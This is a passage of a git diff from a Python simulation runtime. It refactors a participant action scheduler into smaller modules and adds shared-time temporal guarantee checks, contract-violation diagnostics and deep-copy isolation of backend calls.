iter_participant_concurrency_snapshot_violations, iter_participant_concurrency_transition_violations, ) +from raes_contracts.participant_control_evaluation_history import ( + iter_participant_control_evaluation_transition_violations, +) from raes_contracts.participant_control_history import ( iter_participant_control_history_snapshot_violations, iter_participant_control_history_transition_violations, @@ -29,6 +36,10 @@ iter_participant_information_state_history_transition_violations, iter_participant_information_state_snapshot_violations, ) +from raes_contracts.participant_outcome_history import ( + iter_outcome_snapshot_violations, + iter_outcome_transition_violations, +) from raes_contracts.participant_shared_state import ( iter_participant_shared_state_history_transition_violations, iter_participant_shared_state_snapshot_violations, @@ -100,6 +111,7 @@ def participant_runtime_state_contract_diagnostics( """ violations = [ + *iter_outcome_snapshot_violations(snapshot), *iter_participant_episode_snapshot_violations( snapshot.participant_episode_results, snapshot.participant_episode_history, @@ -133,6 +145,10 @@ def participant_runtime_state_contract_diagnostics( *iter_participant_crossing_history_snapshot_violations( snapshot.participant_crossing_history, ), + *iter_mixed_runtime_snapshot_violations( + snapshot.mixed_composition_states, + snapshot.mixed_composition_history, + ), *iter_participant_information_state_snapshot_violations( snapshot.information_state_history, information_state_context_resolver=information_state_context_resolver, @@ -153,6 +169,12 @@ def participant_runtime_history_transition_diagnostics( return ( [ + _failure_diagnostic("runtime.backend-contract-invalid", address, message) + for address, message in iter_outcome_transition_violations( + previous_snapshot.participant_outcome_history, next_snapshot.participant_outcome_history + ) + ] + + [ _failure_diagnostic("runtime.backend-contract-invalid", address, message) for address, message in iter_participant_runtime_history_transition_violations( previous_snapshot.participant_episode_history, @@ -191,6 +213,20 @@ def participant_runtime_history_transition_diagnostics( next_snapshot.participant_crossing_history, ) ] + + [ + _failure_diagnostic("runtime.backend-contract-invalid", address, message) + for address, message in iter_participant_control_evaluation_transition_violations( + previous_snapshot.participant_control_evaluation_history, + next_snapshot.participant_control_evaluation_history, + ) + ] + + [ + _failure_diagnostic("runtime.backend-contract-invalid", address, message) + for address, message in iter_mixed_runtime_transition_violations( + previous_snapshot.mixed_composition_history, + next_snapshot.mixed_composition_history, + ) + ] + [ _failure_diagnostic("runtime.backend-contract-invalid", address, message) for address, message in iter_participant_information_state_history_transition_violations( diff --git a/implementations/python/packages/raes_runtime/participant_scheduler_binding.py b/implementations/python/packages/raes_runtime/participant_scheduler_binding.py new file mode 100644 index 000000000..d4537ff79 --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_scheduler_binding.py @@ -0,0 +1,207 @@ +"""Autonomous action-request binding for the participant scheduler.""" + +from __future__ import annotations + +from copy import deepcopy +from dataclasses import replace +from hashlib import sha256 +from typing import cast + +from raes_contracts.contracts import ( + ParticipantAutonomousExecutionStateModel, + ParticipantTemporalRuntimeContextModel, +) +from raes_contracts.contracts.participant_execution import ParticipantExecutionServiceStateModel +from raes_contracts.contracts.participant_temporal import ParticipantTemporalExecutionContextModel +from raes_contracts.participant_binding import ParticipantActionAdmissionRequest +from raes_contracts.runtime_state import RuntimeSnapshot + +from .participant_activity_support import activity_attempt_id +from .participant_scheduler_resources import measurement_requirements +from .participant_scheduler_time import clock_coordinate, participant_time_domain +from .participant_scheduler_types import _DueActionContext + + +def bound_action_request( + context: _DueActionContext, + working: RuntimeSnapshot, + state: ParticipantAutonomousExecutionStateModel, +) -> ParticipantActionAdmissionRequest: + policy = context.policy + action_address = policy.action_contract_addresses[state.next_action_index % len(policy.action_contract_addresses)] + action_instance_id = _action_instance_id(context, state) + segment, _ = clock_coordinate(working, policy.clock_address) + service_payload = working.participant_execution_services.get(policy.address) + if service_payload is None: + raise ValueError("autonomous participant action requires execution-service state") + service = ParticipantExecutionServiceStateModel.model_validate(service_payload) + temporal_contexts = _default_temporal_contexts(context, segment) + bindings = tuple( + binding for binding in policy.temporal_bindings if binding.action_contract_address == action_address + ) + if bindings: + action_instance_id, temporal_contexts = _bound_temporal_contexts( + context, + state, + working, + service, + bindings, + action_instance_id, + segment, + ) + return _bound_runtime_request( + context, + working, + service, + action_address, + action_instance_id, + temporal_contexts, + bool(bindings), + ) + + +def _action_instance_id(context: _DueActionContext, state: ParticipantAutonomousExecutionStateModel) -> str: + policy = context.policy + if policy.profile in {"participant-autonomous-execution/v2", "participant-autonomous-execution/v3"}: + return activity_attempt_id( + policy_address=policy.address, + participant_address=context.participant_address, + episode_id=state.episode_id, + time_segment=state.time_segment, + occurrence_ordinal=state.occurrence_ordinal, + retry_ordinal=state.current_retry, + ) + return f"{policy.address}:{context.participant_address}:{state.attempted_actions}" + + +def _default_temporal_contexts( + context: _DueActionContext, segment: int +) -> tuple[ParticipantTemporalRuntimeContextModel, ...]: + policy = context.policy + return tuple( + ParticipantTemporalRuntimeContextModel( + temporal_contract_id=constraint_address, + time_domain=participant_time_domain(policy, context.time_model), + clock_authority=policy.clock_address, + event_points=["submit", "start", "end", "observed"], + observation_point=f"{policy.clock_address}@segment={segment},tick={context.current_tick}", + reset_boundary=f"{policy.clock_address}:segment={segment}", + ) + for constraint_address in policy.temporal_constraint_addresses + ) + + +def _bound_temporal_contexts( + context: _DueActionContext, + state: ParticipantAutonomousExecutionStateModel, + working: RuntimeSnapshot, + service: ParticipantExecutionServiceStateModel, + bindings: tuple[object, ...], + action_instance_id: str, + segment: int, +) -> tuple[str, tuple[ParticipantTemporalRuntimeContextModel, ...]]: + action_instance_id = _bound_action_instance_id(action_instance_id, state, service, segment) + clock = working.time_model_state.clocks[context.policy.clock_address] + temporal_contexts = tuple( + _bound_temporal_context(context, state, service, binding, action_instance_id, segment, clock) + for binding in bindings + ) + return action_instance_id, temporal_contexts + + +def _bound_action_instance_id( + action_instance_id: str, + state: ParticipantAutonomousExecutionStateModel, + service: ParticipantExecutionServiceStateModel, + segment: int, +) -> str: + identity = f"{action_instance_id}:episode={state.episode_id}:segment={segment}:generation={service.generation}" + return "participant-action-" + sha256(identity.encode()).hexdigest() + + +def _bound_temporal_context( + context: _DueActionContext, + state: ParticipantAutonomousExecutionStateModel, + service: ParticipantExecutionServiceStateModel, + binding: object, + action_instance_id: str, + segment: int, + clock: object, +) -> ParticipantTemporalRuntimeContextModel: + return ParticipantTemporalRuntimeContextModel( + temporal_contract_id=binding.temporal_id, + time_domain=binding.time_domain, + clock_authority=binding.clock_authority, + event_points=list(binding.event_points), + observation_point=( + f"shared-time:{action_instance_id}:{context.policy.clock_address}:segment={segment}," + f"tick={clock.coordinate.tick},microstep={clock.coordinate.microstep}" + ), + backend_disclosure_refs=list(binding.backend_disclosure_refs), + reset_boundary=binding.reset_boundary, + replay_boundary=binding.replay_boundary, + shared_time=ParticipantTemporalExecutionContextModel( + binding=binding, + participant_address=context.participant_address, + episode_id=state.episode_id, + action_instance_id=action_instance_id, + execution_scope_ref=context.policy.address, + execution_generation=service.generation, + submitted_at=clock.coordinate, + clock_sequence=clock.sequence, + bound_start=binding.start.model_copy(update={"segment": segment}) if binding.start is not None else None, + bound_end=binding.end.model_copy(update={"segment": segment}), + ), + ) + + +def _bound_runtime_request( + context: _DueActionContext, + working: RuntimeSnapshot, + service: ParticipantExecutionServiceStateModel, + action_address: str, + action_instance_id: str, + temporal_contexts: tuple[ParticipantTemporalRuntimeContextModel, ...], + has_bound_temporal_contexts: bool, +) -> ParticipantActionAdmissionRequest: + policy = context.policy + request = context.participant_runtime.bind_autonomous_action( + context.participant_address, + action_address, + policy.observation_boundary_address, + policy.participant_implementation_ref, + action_instance_id, + deepcopy(temporal_contexts), + deepcopy(working), + ) + request = deepcopy(request) + if request.implementation_selection.manifest_ref != policy.participant_implementation_ref: + raise ValueError("participant implementation selection does not match the autonomous execution policy") + matching_bindings = tuple( + binding for binding in policy.execution_bindings if binding.action_contract_address == action_address + ) + if len(matching_bindings) != 1: + raise ValueError("autonomous participant action must resolve exactly one execution binding") + return cast( + ParticipantActionAdmissionRequest, + replace( + request, + participant_address=context.participant_address, + action_contract_address=action_address, + observation_boundary_address=policy.observation_boundary_address, + action_instance_id=action_instance_id, + temporal_contexts=temporal_contexts, + observation_boundary_evidence_refs=( + policy.observation_boundary_evidence_refs + if has_bound_temporal_contexts + else request.observation_boundary_evidence_refs + ), + action_result=None, + post_state_digest=None, + requires_terminal_outcome=True, + target_addresses=matching_bindings[0].target_addresses, + execution_scope_ref=policy.address, + execution_generation=service.generation, + resource_measurement_requirements=measurement_requirements(policy), + ), + ) diff --git a/implementations/python/packages/raes_runtime/participant_scheduler_concurrency.py b/implementations/python/packages/raes_runtime/participant_scheduler_concurrency.py index ed5d85f12..5138f5dd5 100644 --- a/implementations/python/packages/raes_runtime/participant_scheduler_concurrency.py +++ b/implementations/python/packages/raes_runtime/participant_scheduler_concurrency.py @@ -22,6 +22,7 @@ _available_concurrent_capacity, _materialize_concurrent_snapshot, ) +from .participant_temporal import temporal_pre_dispatch_assessments if TYPE_CHECKING: from raes_processor.models import ParticipantExecutionBindingRuntime @@ -290,6 +291,12 @@ def _execute_capacity_bounded_batches(batch: _ConcurrentBatch) -> int: ) if batch_size < 2: break + if any( + temporal_pre_dispatch_assessments(request, batch.run.working) + for request in requests[offset : offset + batch_size] + ): + # The serial path records each rejected attempt without native dispatch. + break _execute_concurrent_batch(_concurrent_batch_chunk(batch, requests, offset=offset, size=batch_size)) offset += batch_size return offset diff --git a/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_commit.py b/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_commit.py index 75f5da4e5..bfe45b930 100644 --- a/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_commit.py +++ b/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_commit.py @@ -18,6 +18,7 @@ _stage_concurrent_action_snapshot, _with_concurrent_scheduler_updates, ) +from .participant_temporal import assess_temporal_result if TYPE_CHECKING: from .participant_scheduler_types import SchedulerRunState, _DueActionContext @@ -119,6 +120,7 @@ def _commit_valid_concurrent_result( ) -> bool: from .participant_scheduler_operations import _next_action_state + result = assess_temporal_result(request, result, run.working) try: run.working = _stage_concurrent_action_snapshot(base, run.working, result.snapshot) except (Exception, CancelledError): # NOSONAR - backend snapshot merge is a trust boundary diff --git a/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_dispatch.py b/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_dispatch.py index 88717626d..e6a67a6ec 100644 --- a/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_dispatch.py +++ b/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_dispatch.py @@ -219,7 +219,7 @@ def _dispatch_concurrent_results( # is potentially side-effecting. A raised/cancelled call or an unpairable # result collection must settle those action ids instead of restoring them. try: - raw_results = prepared.batch_method(requests, prepared.dispatch_snapshot, len(requests)) + raw_results = prepared.batch_method(deepcopy(requests), prepared.dispatch_snapshot, len(requests)) # Consume at most one result beyond the declared count. This freezes a # mutable/generator response and cannot hang on an unbounded iterable. results = tuple(islice(iter(raw_results), len(requests) + 1)) diff --git a/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_state.py b/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_state.py index cdaa15ec1..591403abe 100644 --- a/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_state.py +++ b/implementations/python/packages/raes_runtime/participant_scheduler_concurrent_state.py @@ -24,8 +24,8 @@ # serial scheduler commits that complete validated result. Concurrent commit # therefore needs an explicit owner for every RuntimeSnapshot field: silently # ignoring a newly added field would make serial and concurrent execution mean -# different things. Scheduler state and execution-service accounting are the -# only protected fields; a native result must carry their reserved predecessor +# different things. Shared time, scheduler state and execution-service accounting +# are runtime-owned; a native result must carry their reserved predecessor # unchanged and the serialized scheduler applies their deltas itself. _PROTECTED_SCHEDULER_FIELDS = frozenset(_PROTECTED_SCHEDULER_SNAPSHOT_FIELDS) _BACKEND_MAPPING_FIELDS = ( @@ -52,7 +52,6 @@ "metadata", ) _BACKEND_VALUE_FIELDS = ( - "time_model_state", "realization_provenance", "realization_observations", "realization_envelope", diff --git a/implementations/python/packages/raes_runtime/participant_scheduler_due.py b/implementations/python/packages/raes_runtime/participant_scheduler_due.py new file mode 100644 index 000000000..fdb3270e9 --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_scheduler_due.py @@ -0,0 +1,55 @@ +"""Small due-work helpers shared by the participant scheduler.""" + +from collections.abc import Callable + +from raes_contracts.contracts import ParticipantAutonomousExecutionStateModel +from raes_processor.models import CompiledTimeModel, ParticipantAutonomousExecutionRuntime + +from .participant_activity import ParticipantActivityRandomControl, activity_control_for +from .participant_scheduler_types import SchedulerRunState, _DueActionContext + + +def run_legacy_participant_due( + context: _DueActionContext, + state: ParticipantAutonomousExecutionStateModel, + run: SchedulerRunState, + run_one: Callable[ + [_DueActionContext, ParticipantAutonomousExecutionStateModel, SchedulerRunState], + ParticipantAutonomousExecutionStateModel, + ], +) -> None: + """Run legacy single-action work while the cadence boundary remains due.""" + + while all( + ( + state.lifecycle_state == "running", + state.next_tick == context.current_tick, + state.attempted_actions < context.policy.max_action_attempts, + state.in_flight == 0, + run.failure is None, + ) + ): + state = run_one(context, state, run) + + +def participant_due_context( + policy: ParticipantAutonomousExecutionRuntime, + time_model: CompiledTimeModel, + participant_runtime: object, + participant_address: str, + current_tick: int, + cadence_ticks: int, + activity_controls: dict[str, ParticipantActivityRandomControl] | None = None, +) -> _DueActionContext: + """Build the scheduler context for one participant cadence boundary.""" + + return _DueActionContext( + policy=policy, + time_model=time_model, + participant_runtime=participant_runtime, + participant_address=participant_address, + key=f"{policy.address}.state.{participant_address}", + current_tick=current_tick, + cadence_ticks=cadence_ticks, + activity_control=activity_control_for(policy, activity_controls or {}), + ) diff --git a/implementations/python/packages/raes_runtime/participant_scheduler_operations.py b/implementations/python/packages/raes_runtime/participant_scheduler_operations.py index ba2eef8e4..488aa8656 100644 --- a/implementations/python/packages/raes_runtime/participant_scheduler_operations.py +++ b/implementations/python/packages/raes_runtime/participant_scheduler_operations.py @@ -2,28 +2,19 @@ from __future__ import annotations -from dataclasses import replace -from typing import cast +from copy import deepcopy -from raes_contracts.contracts import ( - ParticipantAutonomousExecutionStateModel, - ParticipantTemporalRuntimeContextModel, -) -from raes_contracts.contracts.participant_execution import ParticipantExecutionServiceStateModel +from raes_contracts.contracts import ParticipantAutonomousExecutionStateModel from raes_contracts.diagnostics import Diagnostic from raes_contracts.participant_binding import ParticipantActionAdmissionRequest from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot -from raes_processor.models import CompiledTimeModel, ParticipantAutonomousExecutionRuntime from .participant_action_validation import autonomous_action_result_violation from .participant_activity import ( - ParticipantActivityRandomControl, - activity_control_for, next_activity_timing, select_activity_candidate, ) from .participant_activity_support import ( - activity_attempt_id, activity_eligible_indices, annotate_activity_history, persist_activity_state, @@ -31,88 +22,38 @@ from .participant_scheduler_activity_state import ( next_activity_occurrence_state as _next_activity_occurrence_state, ) +from .participant_scheduler_binding import bound_action_request from .participant_scheduler_concurrency import run_policy_due_concurrently from .participant_scheduler_concurrent_commit import participant_generation_commit_diagnostic -from .participant_scheduler_resources import ( - commit_activity_resources, - measurement_requirements, - reserve_activity_resources, -) -from .participant_scheduler_time import cadence_missed_result, clock_coordinate, participant_time_domain +from .participant_scheduler_due import participant_due_context, run_legacy_participant_due +from .participant_scheduler_resources import commit_activity_resources, reserve_activity_resources +from .participant_scheduler_time import cadence_missed_result from .participant_scheduler_types import SchedulerRunState, _DueActionContext +from .participant_temporal import assess_temporal_result, temporal_guarantees_met, temporal_pre_dispatch_result +# Preserve the scheduler's existing test and integration seam while the +# implementation lives in the focused binding module. +_bound_action_request = bound_action_request -def _bound_action_request( + +def _try_bound_action_request( context: _DueActionContext, - working: RuntimeSnapshot, state: ParticipantAutonomousExecutionStateModel, -) -> ParticipantActionAdmissionRequest: - policy = context.policy - action_address = policy.action_contract_addresses[state.next_action_index % len(policy.action_contract_addresses)] - if policy.profile in { - "participant-autonomous-execution/v2", - "participant-autonomous-execution/v3", - }: - action_instance_id = activity_attempt_id( - policy_address=policy.address, - participant_address=context.participant_address, - episode_id=state.episode_id, - time_segment=state.time_segment, - occurrence_ordinal=state.occurrence_ordinal, - retry_ordinal=state.current_retry, - ) - else: - action_instance_id = f"{policy.address}:{context.participant_address}:{state.attempted_actions}" - segment, _ = clock_coordinate(working, policy.clock_address) - temporal_contexts = tuple( - ParticipantTemporalRuntimeContextModel( - temporal_contract_id=constraint_address, - time_domain=participant_time_domain(policy, context.time_model), - clock_authority=policy.clock_address, - event_points=["submit", "start", "end", "observed"], - observation_point=f"{policy.clock_address}@segment={segment},tick={context.current_tick}", - reset_boundary=f"{policy.clock_address}:segment={segment}", + run: SchedulerRunState, +) -> ParticipantActionAdmissionRequest | None: + try: + return _bound_action_request(context, run.working, state) + except (TypeError, ValueError): + run.diagnostics.append( + Diagnostic( + code="runtime.participant-autonomous-binding-invalid", + domain="participant", + address=context.participant_address, + message="Backend action binding does not match the compiled execution and observation context.", + ) ) - for constraint_address in policy.temporal_constraint_addresses - ) - request = context.participant_runtime.bind_autonomous_action( - context.participant_address, - action_address, - policy.observation_boundary_address, - policy.participant_implementation_ref, - action_instance_id, - temporal_contexts, - working, - ) - if request.implementation_selection.manifest_ref != policy.participant_implementation_ref: - raise ValueError("participant implementation selection does not match the autonomous execution policy") - matching_bindings = tuple( - binding for binding in policy.execution_bindings if binding.action_contract_address == action_address - ) - if len(matching_bindings) != 1: - raise ValueError("autonomous participant action must resolve exactly one execution binding") - service_payload = working.participant_execution_services.get(policy.address) - if service_payload is None: - raise ValueError("autonomous participant action requires execution-service state") - service = ParticipantExecutionServiceStateModel.model_validate(service_payload) - return cast( - ParticipantActionAdmissionRequest, - replace( - request, - participant_address=context.participant_address, - action_contract_address=action_address, - observation_boundary_address=policy.observation_boundary_address, - action_instance_id=action_instance_id, - temporal_contexts=temporal_contexts, - action_result=None, - post_state_digest=None, - requires_terminal_outcome=True, - target_addresses=matching_bindings[0].target_addresses, - execution_scope_ref=policy.address, - execution_generation=service.generation, - resource_measurement_requirements=measurement_requirements(policy), - ), - ) + run.failure = ApplyResult(success=False, snapshot=run.working, diagnostics=run.diagnostics) + return None def _record_protocol_result( @@ -172,18 +113,12 @@ def _run_one_due_action( state: ParticipantAutonomousExecutionStateModel, run: SchedulerRunState, ) -> ParticipantAutonomousExecutionStateModel: - request = _bound_action_request(context, run.working, state) + request = _try_bound_action_request(context, state, run) + if request is None: + return state predecessor = run.working - result = context.participant_runtime.admit_action(request, predecessor) - stale_completion = participant_generation_commit_diagnostic(request, run.working) - if stale_completion is not None: - run.diagnostics.append(stale_completion) - run.failure = ApplyResult( - success=False, - snapshot=run.working, - diagnostics=run.diagnostics, - changed_addresses=list(dict.fromkeys(run.changed)), - ) + result, dispatched = _admit_due_action(context, request, predecessor) + if _record_stale_completion(request, run): return state protocol_violation = autonomous_action_result_violation( request, @@ -191,7 +126,57 @@ def _run_one_due_action( episode_id=state.episode_id, predecessor=predecessor, ) + result = _assess_dispatched_temporal_result(request, result, run.working, protocol_violation, dispatched) protocol_failure = _record_protocol_result(run, context, predecessor, result, protocol_violation) + return _finish_due_action(context, state, run, request, result, protocol_failure) + + +def _admit_due_action( + context: _DueActionContext, + request: ParticipantActionAdmissionRequest, + predecessor: RuntimeSnapshot, +) -> tuple[object, bool]: + result = temporal_pre_dispatch_result(request, predecessor) + dispatched = result is None + if dispatched: + result = deepcopy(context.participant_runtime.admit_action(deepcopy(request), deepcopy(predecessor))) + return result, dispatched + + +def _record_stale_completion(request: ParticipantActionAdmissionRequest, run: SchedulerRunState) -> bool: + stale_completion = participant_generation_commit_diagnostic(request, run.working) + if stale_completion is None: + return False + run.diagnostics.append(stale_completion) + run.failure = ApplyResult( + success=False, + snapshot=run.working, + diagnostics=run.diagnostics, + changed_addresses=list(dict.fromkeys(run.changed)), + ) + return True + + +def _assess_dispatched_temporal_result( + request: ParticipantActionAdmissionRequest, + result: object, + snapshot: RuntimeSnapshot, + protocol_violation: str | None, + dispatched: bool, +) -> object: + if protocol_violation is None and dispatched: + return assess_temporal_result(request, result, snapshot) + return result + + +def _finish_due_action( + context: _DueActionContext, + state: ParticipantAutonomousExecutionStateModel, + run: SchedulerRunState, + request: ParticipantActionAdmissionRequest, + result: object, + protocol_failure: bool, +) -> ParticipantAutonomousExecutionStateModel: action_succeeded = bool( not protocol_failure and result.success @@ -230,26 +215,47 @@ def _run_one_activity_action( state: ParticipantAutonomousExecutionStateModel, run: SchedulerRunState, ) -> ParticipantAutonomousExecutionStateModel: - request = _bound_action_request(context, run.working, state) + request = _try_bound_action_request(context, state, run) + admission = _admit_activity_action(context, request, run) if request is not None else None + if admission is not None and not _record_stale_completion(request, run): + result, dispatched, predecessor = admission + protocol_violation = autonomous_action_result_violation( + request, result, episode_id=state.episode_id, predecessor=predecessor + ) + result = _assess_dispatched_temporal_result(request, result, run.working, protocol_violation, dispatched) + protocol_failure = _record_protocol_result(run, context, predecessor, result, protocol_violation) + resources_committed = not dispatched or commit_activity_resources( + context, request, result, protocol_failure=protocol_failure, run=run + ) + if resources_committed: + return _finish_activity_action(context, state, run, request, result, protocol_failure) + return state + + +def _admit_activity_action( + context: _DueActionContext, + request: ParticipantActionAdmissionRequest, + run: SchedulerRunState, +) -> tuple[object, bool, RuntimeSnapshot] | None: + predecessor = run.working + result = temporal_pre_dispatch_result(request, predecessor) + if result is not None: + return result, False, predecessor if not reserve_activity_resources(context, request, run): - return state + return None predecessor = run.working - result = context.participant_runtime.admit_action(request, predecessor) - protocol_violation = autonomous_action_result_violation( - request, - result, - episode_id=state.episode_id, - predecessor=predecessor, - ) - protocol_failure = _record_protocol_result(run, context, predecessor, result, protocol_violation) - if not commit_activity_resources( - context, - request, - result, - protocol_failure=protocol_failure, - run=run, - ): - return state + result = deepcopy(context.participant_runtime.admit_action(deepcopy(request), deepcopy(predecessor))) + return result, True, predecessor + + +def _finish_activity_action( + context: _DueActionContext, + state: ParticipantAutonomousExecutionStateModel, + run: SchedulerRunState, + request: ParticipantActionAdmissionRequest, + result: object, + protocol_failure: bool, +) -> ParticipantAutonomousExecutionStateModel: action_result = getattr(result, "action_result", None) status = getattr(getattr(action_result, "status", None), "value", getattr(action_result, "status", None)) action_succeeded = bool(not protocol_failure and result.success and status == "succeeded") @@ -258,6 +264,8 @@ def _run_one_activity_action( "value", getattr(action_result, "failure_class", None), ) + if not protocol_failure and not temporal_guarantees_met(request, result): + failure_value = None if not protocol_failure: annotate_activity_history( run, @@ -366,53 +374,6 @@ def _run_participant_activity_due( state = _run_one_activity_action(context, state, run) -def participant_due_context( - policy: ParticipantAutonomousExecutionRuntime, - time_model: CompiledTimeModel, - participant_runtime: object, - participant_address: str, - current_tick: int, - cadence_ticks: int, - activity_controls: dict[str, ParticipantActivityRandomControl] | None = None, -) -> _DueActionContext: - key = f"{policy.address}.state.{participant_address}" - return _DueActionContext( - policy=policy, - time_model=time_model, - participant_runtime=participant_runtime, - participant_address=participant_address, - key=key, - current_tick=current_tick, - cadence_ticks=cadence_ticks, - activity_control=activity_control_for(policy, activity_controls or {}), - ) - - -def _legacy_action_is_due( - context: _DueActionContext, - state: ParticipantAutonomousExecutionStateModel, - run: SchedulerRunState, -) -> bool: - return all( - ( - state.lifecycle_state == "running", - state.next_tick == context.current_tick, - state.attempted_actions < context.policy.max_action_attempts, - state.in_flight == 0, - run.failure is None, - ) - ) - - -def _run_legacy_participant_due( - context: _DueActionContext, - state: ParticipantAutonomousExecutionStateModel, - run: SchedulerRunState, -) -> None: - while _legacy_action_is_due(context, state, run): - state = _run_one_due_action(context, state, run) - - def run_participant_due( context: _DueActionContext, run: SchedulerRunState, @@ -430,7 +391,7 @@ def run_participant_due( }: _run_participant_activity_due(context, state, run) else: - _run_legacy_participant_due(context, state, run) + run_legacy_participant_due(context, state, run, _run_one_due_action) __all__ = [ diff --git a/implementations/python/packages/raes_runtime/participant_scheduler_policy.py b/implementations/python/packages/raes_runtime/participant_scheduler_policy.py index af7fbd3aa..6a8fed38e 100644 --- a/implementations/python/packages/raes_runtime/participant_scheduler_policy.py +++ b/implementations/python/packages/raes_runtime/participant_scheduler_policy.py @@ -45,6 +45,9 @@ def _policy_digest( "resolved_progression_policy": asdict(progression), "resolved_temporal_constraints": constraints, } + if policy.temporal_bindings: + payload["temporal_bindings"] = [binding.model_dump(mode="json") for binding in policy.temporal_bindings] + payload["observation_boundary_evidence_refs"] = policy.observation_boundary_evidence_refs if policy.profile in { "participant-autonomous-execution/v2", "participant-autonomous-execution/v3", diff --git a/implementations/python/packages/raes_runtime/participant_submission_options.py b/implementations/python/packages/raes_runtime/participant_submission_options.py index f3948f31f..399a36360 100644 --- a/implementations/python/packages/raes_runtime/participant_submission_options.py +++ b/implementations/python/packages/raes_runtime/participant_submission_options.py @@ -5,6 +5,7 @@ from dataclasses import dataclass from raes_contracts.participant_binding import ParticipantActionAdmissionRequest +from raes_contracts.planning import RuntimeDomain from raes_contracts.runtime_state import OperationReceipt from raes_processor.models import ParticipantBehaviorRuntime @@ -14,6 +15,10 @@ from .participant_crossing_mediation import ParticipantCrossingEvidence +def _mixed_dispatch_only(*_args: object, **_kwargs: object) -> object: + raise AssertionError("mixed action dispatch must resolve an admitted provider before effect") + + @dataclass(frozen=True) class ParticipantSubmissionOptions: idempotency_key: str = "" @@ -53,7 +58,22 @@ def submit_bound_participant_action( request: ParticipantActionAdmissionRequest, options: ParticipantSubmissionOptions, ) -> OperationReceipt: + if any(context.shared_time is not None for context in request.temporal_contexts) or ( + request.action_contract_address in participant_behavior.temporally_bound_action_addresses + ): + return control_plane._reject_submission( + domain=RuntimeDomain.PARTICIPANT, + message=( + "Explicit shared-time action bindings require the reference autonomous driver; manual submission " + "cannot bypass its temporal admission and evidence checks." + ), + idempotency_key=options.idempotency_key, + request_fingerprint=options.request_fingerprint, + identity=options.identity, + request={"operation": "participant-action", "participant_address": request.participant_address}, + ) if getattr(control_plane, "_crossing_policy_resolver", None) is not None: + participant_runtime = control_plane._target.participant_runtime return execute_action_ingress_crossing( control_plane, participant_behavior, @@ -62,7 +82,7 @@ def submit_bound_participant_action( crossing_evidence=options.crossing_evidence, identity=options.identity, idempotency_key=options.idempotency_key, - method=control_plane._target.participant_runtime.admit_action, + method=(_mixed_dispatch_only if participant_runtime is None else participant_runtime.admit_action), address=f"runtime.control-plane.participant.{request.participant_address}.admit-action", ), ) diff --git a/implementations/python/packages/raes_runtime/participant_temporal.py b/implementations/python/packages/raes_runtime/participant_temporal.py new file mode 100644 index 000000000..7fff6b896 --- /dev/null +++ b/implementations/python/packages/raes_runtime/participant_temporal.py @@ -0,0 +1,187 @@ +"""Bounded guarantee checks against the existing shared-time authority.""" + +from dataclasses import replace +from datetime import UTC, datetime +from typing import Literal, cast + +from raes_backend_protocols.participant_action_commit import participant_binding_post_state_digest +from raes_contracts.contracts import ParticipantActionResultModel, ParticipantBehaviorHistoryEventModel +from raes_contracts.contracts.participant_temporal import ( + ParticipantTemporalAssessmentModel, + ParticipantTemporalEvidenceModel, + ParticipantTemporalExecutionContextModel, +) +from raes_contracts.diagnostics import Diagnostic +from raes_contracts.participant_behavior import ParticipantAdmissionDisposition +from raes_contracts.participant_binding import ( + ParticipantActionAdmissionRequest, + ParticipantActionApplyResult, + participant_action_binding_events, + participant_behavior_event_payload, +) +from raes_contracts.participant_temporal import assess_temporal_guarantee, coordinate_key +from raes_contracts.runtime_state import RuntimeSnapshot + + +def temporal_pre_dispatch_assessments( + request: ParticipantActionAdmissionRequest, + snapshot: RuntimeSnapshot, +) -> list[ParticipantTemporalAssessmentModel]: + """Identify already-impossible guarantees before native submission.""" + + missed = [] + for context in request.temporal_contexts: + scope = context.shared_time + if scope is None: + continue + if scope.binding.temporal_kind == "deadline" and coordinate_key(scope.submitted_at) <= coordinate_key( + scope.bound_end + ): + continue + assessment = _assess_context( + scope, request, snapshot, request.temporal_evidence, native_execution="not_dispatched" + ) + if assessment.status != "met": + missed.append(assessment) + return missed + + +def temporal_guarantee_diagnostic(request: ParticipantActionAdmissionRequest) -> Diagnostic: + return Diagnostic( + code="runtime.participant-temporal-guarantee-unsatisfied", + domain="participant", + address=request.participant_address, + message=( + "The authored temporal guarantee is not satisfied; this does not imply native cancellation or rollback." + ), + ) + + +def temporal_pre_dispatch_result( + request: ParticipantActionAdmissionRequest, + snapshot: RuntimeSnapshot, +) -> ParticipantActionApplyResult | None: + """Record a rejected portable attempt without calling the native runtime.""" + + assessments = temporal_pre_dispatch_assessments(request, snapshot) + if not assessments: + return None + assessments = [ + _assess_context( + context.shared_time, request, snapshot, request.temporal_evidence, native_execution="not_dispatched" + ) + for context in request.temporal_contexts + if context.shared_time is not None + ] + context = assessments[0].context + action_result = ParticipantActionResultModel( + status="rejected", + participant_address=request.participant_address, + episode_id=context.episode_id, + action_instance_id=request.action_instance_id, + action_contract_address=request.action_contract_address, + observation_point=request.temporal_contexts[0].observation_point, + preconditions=[ + { + "precondition_id": f"shared-time:{assessment.context.binding.temporal_id}", + "precondition_class": "temporal", + "status": "unsatisfied" if assessment.status == "missed" else "unresolved", + "participant_address": request.participant_address, + "episode_id": context.episode_id, + "action_contract_address": request.action_contract_address, + "observation_point": request.temporal_contexts[0].observation_point, + "support_refs": [assessment.context.binding.constraint_address], + "diagnostics": [assessment.reason], + } + for assessment in assessments + if assessment.status != "met" + ], + failure_class="precondition_unsatisfied", + diagnostics=[assessment.reason for assessment in assessments], + ) + events = list( + participant_action_binding_events( + replace(request, action_result=action_result, state_transition_kind="participant_temporal_rejected"), + episode_id=context.episode_id, + timestamp=datetime.now(UTC).isoformat(), + post_state_digest=participant_binding_post_state_digest(request), + ) + ) + events[0] = events[0].model_copy(update={"admission_disposition": ParticipantAdmissionDisposition.REJECTED}) + events[-1] = events[-1].model_copy(update={"temporal_assessments": assessments}) + histories 